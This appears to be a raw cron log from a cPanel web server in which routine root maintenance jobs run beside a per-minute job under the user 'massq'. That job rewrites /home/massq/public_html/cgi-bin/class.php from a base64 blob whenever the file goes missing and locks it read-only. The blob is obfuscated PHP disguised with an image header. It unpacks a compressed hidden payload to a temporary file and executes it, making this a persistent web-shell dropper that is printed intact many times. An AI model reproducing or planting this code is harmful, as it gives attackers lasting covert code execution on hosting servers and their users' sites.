mmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:40:01 server CROND[6732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:40:01 server CROND[6729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:40:01 server CROND[6730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:41:01 server CROND[7573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:41:01 server CROND[7574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:41:01 server CROND[7575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:42:01 server CROND[8054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:42:01 server CROND[8055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:42:01 server CROND[8056]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:42:01 server CROND[8057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:43:01 server CROND[8449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:43:01 server CROND[8450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:43:01 server CROND[8452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:44:01 server CROND[8846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:44:01 server CROND[8847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:44:01 server CROND[8848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:45:01 server CROND[9234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:45:01 server CROND[9236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:45:01 server CROND[9237]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:45:01 server CROND[9240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:45:01 server CROND[9243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:45:01 server CROND[9241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:45:01 server CROND[9242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:46:01 server CROND[10072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:46:01 server CROND[10074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:46:01 server CROND[10073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:47:01 server CROND[10564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:47:01 server CROND[10565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:47:01 server CROND[10566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:48:01 server CROND[10956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:48:01 server CROND[10957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:48:01 server CROND[10964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:49:01 server CROND[11342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:49:01 server CROND[11341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:49:01 server CROND[11343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:50:01 server CROND[11738]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:50:01 server CROND[11739]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:50:01 server CROND[11740]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:50:01 server CROND[11757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:50:01 server CROND[11762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:50:01 server CROND[11759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:50:01 server CROND[11761]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:50:01 server CROND[11760]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 12:50:01 server CROND[11764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:51:01 server CROND[12613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:51:01 server CROND[12614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:51:01 server CROND[12615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:52:01 server CROND[13096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:52:01 server CROND[13097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:52:01 server CROND[13098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
